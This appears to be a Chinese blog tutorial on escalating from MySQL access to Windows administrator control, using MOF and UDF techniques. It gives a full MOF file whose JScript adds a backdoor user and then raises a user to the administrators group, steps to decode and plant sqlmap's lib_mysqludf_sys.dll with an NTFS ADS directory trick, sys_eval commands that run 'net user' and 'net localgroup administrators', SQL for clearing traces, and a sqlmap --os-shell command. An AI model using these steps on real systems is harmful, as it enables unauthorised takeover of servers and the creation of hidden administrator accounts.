SQLPrivilgeEscalation

mysql提权

1.MOF 提取

利用条件

使用MOF提权的前提是当前root账户可以复制文件到%SystemRoot%\System32\Wbem\MOF目录下。  

提权原理

利用了**c:/windows/system32/wbem/mof/**目录下的 nullevt.mof 文件,每分钟都会在一个特定的时间去执行一次的特性,来写入我们的cmd命令使其被带入执行

基本步骤

编写mof文件,必须命名为nullevt.mof
#pragma namespace("\\\\.\\root\\subscription")

instance of __EventFilter as $EventFilter
{
    EventNamespace = "Root\\Cimv2";
    Name  = "filtP2";
    Query = "Select * From __InstanceModificationEvent "
            "Where TargetInstance Isa \"Win32_LocalTime\" "
            "And TargetInstance.Second = 5";
    QueryLanguage = "WQL";
};

instance of ActiveScriptEventConsumer as $Consumer
{
    Name = "consPCSV2";
    ScriptingEngine = "JScript";
    ScriptText =
    "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin.admin /add\")";
};

instance of __FilterToConsumerBinding
{
    Consumer   = $Consumer;
    Filter = $EventFilter;
};
上传到c:\windows\system32(或c:\winnt\)目录
mysql> select load_file('C:/wmpub/nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof'

--此处C:/wmpub/nullevt.mof为上次mof文件位置,可联合文件上传漏洞,在www目录下写入mof文件

此处var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin.admin /add\")执行添加admin用户

再次上传mof文件,把admin用户提权到管理员组(修改var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe localgroup administrators secist /add\")

最终创建了管理员用户

远程桌面连接
mstsc /admin

2.UDF提取

利用条件

1、其利用条件是目标系统是Windows(Win2000,XP,Win2003);拥有MYSQL的某个用户账号,此账号必须有对mysql的insert和delete权限以创建和抛弃函数,有root账号密码。
2、Mysql版本大于5.1版本udf.dll文件必须放置于MYSQL安装目录下的lib\plugin文件夹下。
3、Mysql版本小于5.1版本。udf.dll文件在Windows2003下放置于c:\windows\system32,在windows2000下放置于c:\winnt\system32。
4、掌握的mysql数据库的账号有对mysql的insert和delete权限以创建和抛弃函数,一般以root账号为佳,具备root账号所具备的权限的其它账号也可以。

提权方法

mysql5.1及以上版本,必须要把udf.dll文件放到mysql安装目录的lib\plugin文件夹下才能创建自定义函数。该目录默认是不存在的,需要使用webshell找到mysql的安装目录,并在安装目录下创建lib\plugin文件夹,然后将udf.dll文件导出到该目录。

sqlmap里是有udf.dll文件的,就在sqlmap/udf/mysql/windows目录下,里面有32位和64位
注意:这里的位数是mysql的位数,并不是对方系统的位数。sqlmap里的udf.dll是通过异或编码的,使用之前一定要记得解码,解码的工具也在sqlmap中

基本步骤

udf.dll解码
python /usr/share/sqlmap/extra/cloak/cloak.py  -d -i /usr/share/sqlmap/data/udf/mysql/windows/64/lib_mysqludf_sys.dll_

#/usr/share/sqlmap/extra/cloak/cloak.py自带的locak解码脚本
#/usr/share/sqlmap/data/udf/mysql/windows/64/lib_mysqludf_sys.dll_ 为sqlmap自带UDF文件路径

#执行完成后会在/usr/share/sqlmap/data/udf/mysql/windows/64/文件夹下生成lib_mysqludf_sys.dll文件

#攻击者可以利用lib_mysqludf_sys提供的函数执行系统命令。
#sys_eval,执行任意命令,并将输出返回。
#sys_exec,执行任意命令,并将退出码返回。
#sys_get,获取一个环境变量。
#sys_set,创建或修改一个环境变量。

并把lib_mysqludf_sys.dll文件上传到站点目录下,改名为udf.dll

文件导入

MySQL<5.0,导出路径随意;

5.0 <= MySQL<5.1,则需要导出至目标服务器的系统目录(如:c:/windows/system32/)

MySQL 5.1以上版本,必须要把udf.dll文件放到MySQL安装目录下的lib\plugin文件夹下才能创建自定义函数。

一般lib\plugin文件夹需要手工建立(可用NTFS ADS流模式突破进而创建文件夹)有webshell可以直接创建,没有的话使用 into dumpfile 写入

手工建立lib\plugin文件夹
mysql> select @@basedir;  //查找到mysql的目录
 
mysql> select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION';    //利用NTFS ADS创建lib目录
 
mysql> select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION';    //利用NTFS ADS创建plugin目录

NTFS ADS的前世今生

从udf文件中引入自定义函数
mysql> create function sys_eval returns string soname 'udf.dll'; 
--sys_eval是函数名称,udf.dll是lib_mysqludf_sys.dll_上传后的文件名
执行自定义函数
mysql> select sys_eval('net user admin admin /add'); 
mysql> select sys_eval('net localgroup administrators admin /add');
远程桌面连接
mstsc /admin
清除痕迹
mysql> drop function sys_eval; --删除函数
mysql> delete from mysql.func where name='sys_eval' --删除函数

其他

版本>5.6.34 secure-file-priv需要为空才可以通过mysql传udf

1. into outfile 直接写入
-- 1.将udf的内容进行16进制编码 得到字符串 A
hexdump lib_mysqludf_sys.dll
-- 2.写入文件
mysql> select A into outfile 'C:/Program Files/MySQL/MySQL Server 5.5/lib/plugin/udf.dll';
-- 3.创建sys_eval
mysql> CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';
-- 4.获取system执行权限
mysql> select sys_eval('whoami');
2. 表内容导出写入
-- 1.将udf的内容进行16进制编码 得到字符串 A
hexdump lib_mysqludf_sys.dll
-- 2.建立表保存16进制内容
mysql> set @my_udf=concat('',A);
mysql> create table udf_data(data LONGBLOB);
--3.将my_udf的内容插入表udf_data中。
mysql> insert into udf_data values("");
mysql> update udf_data set data = @my_udf;
--4.将内容导出到文件。
mysql> select data from udf_data into DUMPFILE 'C:/Program Files/MySQL/MySQL Server 5.5/lib/plugin/udf.dll';
--5.执行系统命令
mysql> create function sys_eval returns string soname 'udf.dll';
mysql> select sys_eval('whoami');

3.sqlmap写入UDF

sqlmap.py -d "mysql://root:root@172.0.0.1:3306/mysql" --os-shell

MySQL 利用UDF执行命令

mof/udf提权

udf提取

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值